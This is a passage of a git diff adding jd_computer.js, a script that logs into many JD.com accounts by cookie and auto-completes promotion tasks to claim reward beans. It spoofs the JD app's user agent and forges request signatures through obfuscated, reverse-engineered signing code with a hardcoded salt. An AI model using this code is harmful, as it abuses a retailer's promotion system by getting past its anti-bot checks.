if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_computer.js b/jd_computer.js new file mode 100644 index 0000000..f2e8470 --- /dev/null +++ b/jd_computer.js @@ -0,0 +1,464 @@ +/* +#电脑配件ID任务jd_computer,自行加入以下环境变量,多个ID用@连接 +export computer_activityIdList="17" + +即时任务,无需cron +*/ + +const $ = new Env('电脑配件通用ID任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityIdList = ''; +let activityIdArr = []; +let activityId = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.computer_activityIdList) activityIdList = process.env.computer_activityIdList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +allMessage = "" +message = "" +$.hotFlag = false +$.outFlag = 0 +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (!activityIdList) { + $.log(`没有电脑配件ID,尝试获取远程`); + let data = await getData("https://gitee.com/KingRan521/JD-Scripts/raw/master/shareCodes/dlpj.json") + if (data && data.length) { + $.log(`获取到远程且有数据`); + activityIdList = data.join('@') + }else{ + $.log(`获取失败或当前无远程数据`); + return + } + } + MD5() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + message = "" + $.bean = 0 + $.hotFlag = false + await getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + let activityIdArr = activityIdList.split("@"); + for (let j = 0; j < activityIdArr.length; j++) { + activityId = activityIdArr[j] + console.log(`电脑配件ID就位: ${activityId},准备开始薅豆`); + await run(); + if($.bean > 0 || message) { + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n${$.bean > 0 && "获得"+$.bean+"京豆\n" || ""}${message}\n` + $.msg($.name, ``, msg); + allMessage += msg + } + } + } + if($.outFlag != 0) break + } + if(allMessage){ + $.msg($.name, ``, `${allMessage}\n`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${allMessage}\n`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function run() { + try { + $.list = '' + await indexInfo(); + if($.hotFlag) message += `活动太火爆\n` + if($.hotFlag) return + if($.list){ + for(let i in $.list || []){ + $.oneTask = $.list[i] + for(let j in $.oneTask.taskList || []){ + $.task = $.oneTask.taskList[j] + console.log(`[${$.oneTask.taskName}] ${$.task.name} ${$.task.status == 4 && '已完成' || $.task.status == 3 && '未领取' || '未完成'}`) + if($.task.status != 4) await doTask('doTask', $.task.id, $.oneTask.taskId); + if($.oneTask.taskId == 3 && $.task.status != 4){ + await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) + await doTask('getPrize', $.task.id, $.oneTask.taskId); + } + if($.outFlag != 0) { + message += "\n京豆库存已空,退出脚本\n" + return + } + if($.task.status != 4) await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } + } + }else{ + console.log('获取不到任务') + } + await indexInfo(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if($.extraTaskStatus == 3 && $.outFlag == 0) await extraTaskPrize(); + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + } catch (e) { + console.log(e) + } +} + +function indexInfo() { + return new Promise(async resolve => { + let sign = getSign("/tzh/combination/indexInfo",{"activityId": activityId}) + $.get({ + url: `https://combination.m.jd.com/tzh/combination/indexInfo?activityId=${activityId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + 'Content-Type':'application/json;charset=utf-8', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + $.list = res.data.list + $.extraTaskStatus = res.data.extraTaskStatus + + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function doTask(type, id, taskId) { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/${type}`,{"activityId": activityId,"id":id,"taskId":taskId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/${type}`, + body: `activityId=${activityId}&id=${id}&taskId=${taskId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + }else if(res.msg.indexOf('京豆已被抢光') > -1){ + message += res.msg+"\n" + $.outFlag = 1 + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function extraTaskPrize() { + if($.outFlag != 0) return + return new Promise(async resolve => { + let sign = getSign(`/tzh/combination/extraTaskPrize`,{"activityId": activityId}) + $.post({ + url: `https://combination.m.jd.com/tzh/combination/extraTaskPrize`, + body: `activityId=${activityId}&t=${sign.timestamp}`, + headers: { + 'Accept': 'application/json, text/plain, */*', + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': cookie, + 'User-Agent': $.UA, + 'sign': sign.sign, + 'timestamp': sign.timestamp + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data) + if(typeof res == 'object'){ + if(res.code == 200 && res.data){ + let msg = res.data.jdNum && res.data.jdNum+"京豆" || '' + if(res.data.jdNum){ + console.log(`获得 ${msg}`) + $.bean += Number(res.data.jdNum) || 0 + }else{ + console.log(data) + } + }else if(res.msg){ + if(res.msg.indexOf('活动太火爆') > -1){ + $.hotFlag = true + } + console.log(res.msg) + }else{ + console.log(`活动获取失败\n${data}`) + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getData(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} +/* + *Progcessed By JSDec in 0.01s + *JSDec - JSDec.js.org + */ +function M(_0xc44a8f, _0x429a90, _0xdee559) { + var _0x4488a6 = { + 'CNgba': function(_0x215ac0, _0x215aad) { + return _0x215ac0 == _0x215aad; + }, + 'fzUrQ': 'string', + 'jqqVS': function(_0x287be6, _0x58e96c) { + return _0x287be6 + _0x58e96c; + }, + 'CAfDO': function(_0x38b00c, _0x1906ca) { + return _0x38b00c == _0x1906ca; + }, + 'ANdMj': 'object', + 'zEtiI': function(_0xba739d, _0x149c91) { + return _0xba739d(_0x149c91); + }, + 'pujRC': function(_0x5325b4, _0x2366cf) { + return _0x5325b4 + _0x2366cf; + }, + 'VxfTG': function(_0x5173a1, _0x5eb552) { + return _0x5173a1 + _0x5eb552; + }, + 'iRXRX': function(_0x411582, _0x32e553) { + return _0x411582 == _0x32e553; + }, + 'VoKLi': function(_0x1e1ab6, _0xc55723) { + return _0x1e1ab6 == _0xc55723; + }, + 'hodih': function(_0xa982a7, _0x531bdc) { + return _0xa982a7(_0x531bdc); + }, + 'dCNAc': function(_0x17dede, _0x2a2f62) { + return _0x17dede !== _0x2a2f62; + }, + 'TjWBq': 'ZBooW', + 'BEnKe': function(_0x390681, _0x2994f8) { + return _0x390681 + _0x2994f8; + }, + 'LBePY': function(_0x74c611, _0x49f5f4) { + return _0x74c611 + _0x49f5f4; + }, + 'llNkp': function(_0x302fe3, _0x5de6de) { + return _0x302fe3 + _0x5de6de; + } + }; + var _0x1f1f5c = '', + _0x110178 = _0xdee559['split']('?')[0x1] || ''; + if (_0xc44a8f) { + if (_0x4488a6['iRXRX'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['VxfTG'](_0xc44a8f, _0x110178); + else if (_0x4488a6['VoKLi'](_0x4488a6['ANdMj'], _0x4488a6['hodih'](x, _0xc44a8f))) { + if (_0x4488a6['dCNAc'](_0x4488a6['TjWBq'], _0x4488a6['TjWBq'])) { + if (_0x4488a6['CNgba'](_0x4488a6['fzUrQ'], typeof _0xc44a8f)) _0x1f1f5c = _0x4488a6['jqqVS'](_0xc44a8f, _0x110178); + else if (_0x4488a6['CAfDO'](_0x4488a6['ANdMj'], _0x4488a6['zEtiI'](x, _0xc44a8f))) { + var _0x3ff3f9 = []; + for (var _0x3a1019 in _0xc44a8f) _0x3ff3f9['push'](_0x4488a6['jqqVS'](_0x4488a6['pujRC'](_0x3a1019, '='), _0xc44a8f[_0x3a1019])); + _0x1f1f5c = _0x3ff3f9['length'] ? _0x4488a6['VxfTG'](_0x3ff3f9['join']('&'), _0x110178) : _0x110178; + } + } else { + var _0x407463 = []; + for (var _0x3f044c in _0xc44a8f) _0x407463['push'](_0x4488a6['BEnKe'](_0x4488a6['LBePY'](_0x3f044c, '='), _0xc44a8f[_0x3f044c])); + _0x1f1f5c = _0x407463['length'] ? _0x4488a6['LBePY'](_0x407463['join']('&'), _0x110178) : _0x110178; + } + } + } else _0x1f1f5c = _0x110178; + if (_0x1f1f5c) { + var _0xed2a35 = _0x1f1f5c['split']('&')['sort']()['join'](''); + return $['md5'](_0x4488a6['llNkp'](_0xed2a35, _0x429a90)); + return _0x4488a6['llNkp'](_0xed2a35, _0x429a90); + } + return $['md5'](_0x429a90); + return _0x429a90; +} + +function x(_0x543ed7) { + var _0x59f6a8 = { + 'mwjbO': function(_0x1d95c8, _0x185b22) { + return _0x1d95c8 === _0x185b22; + }, + 'qdkKz': 'function', + 'VPiUV': function(_0x44e857, _0x30eba3) { + return _0x44e857 === _0x30eba3; + }, + 'YVTeQ': function(_0x14d902, _0x3e6382) { + return _0x14d902 !== _0x3e6382; + }, + 'chONS': 'symbol', + 'HuNNH': function(_0x49e6ac, _0x3b178a) { + return _0x49e6ac === _0x3b178a; + }, + 'CYwxT': function(_0x3acb6a, _0x86b540) { + return _0x3acb6a === _0x86b540; + }, + 'EgeQW': function(_0x3eb366, _0x504ccf) { + return _0x3eb366(_0x504ccf); + } + }; + return x = _0x59f6a8['HuNNH'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['CYwxT'](_0x59f6a8['chONS'], typeof Symbol['iterator']) ? function(_0x543ed7) { + return typeof _0x543ed7; + } : function(_0x543ed7) { + return _0x543ed7 && _0x59f6a8['mwjbO'](_0x59f6a8['qdkKz'], typeof Symbol) && _0x59f6a8['VPiUV'](_0x543ed7['constructor'], Symbol) && _0x59f6a8['YVTeQ'](_0x543ed7, Symbol['prototype']) ? _0x59f6a8['chONS'] : typeof _0x543ed7; + }, _0x59f6a8['EgeQW'](x, _0x543ed7); +} + +function getSign(_0x275690, _0x3d87d0) { + var _0x574204 = { + 'HwKtx': '07035cabb84lm694', + 'esyRZ': function(_0x3b0b1b, _0x1b2926) { + return _0x3b0b1b + _0x1b2926; + }, + 'FyOHq': function(_0x37ac02, _0x313227, _0xc09a5c, _0x49ff18) { + return _0x37ac02(_0x313227, _0xc09a5c, _0x49ff18); + } + }; + let _0x3df4f3 = new Date()['getTime'](); + _0x3d87d0['t'] = _0x3df4f3; + var _0x25b268 = _0x574204['HwKtx']; + var _0x3c4a45 = _0x3df4f3, + _0x553e06 = _0x574204['esyRZ'](_0x25b268, _0x3c4a45); + let _0x70c008 = { + 'sign': _0x574204['FyOHq'](M, _0x3d87d0, _0x553e06, _0x275690), + 'timestamp': _0x3c4a45 + }; + return _0x70c008; +}; +_0xod9 = 'jsjiami.com.v6' + +function MD5(){ + // MD5 + !function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let 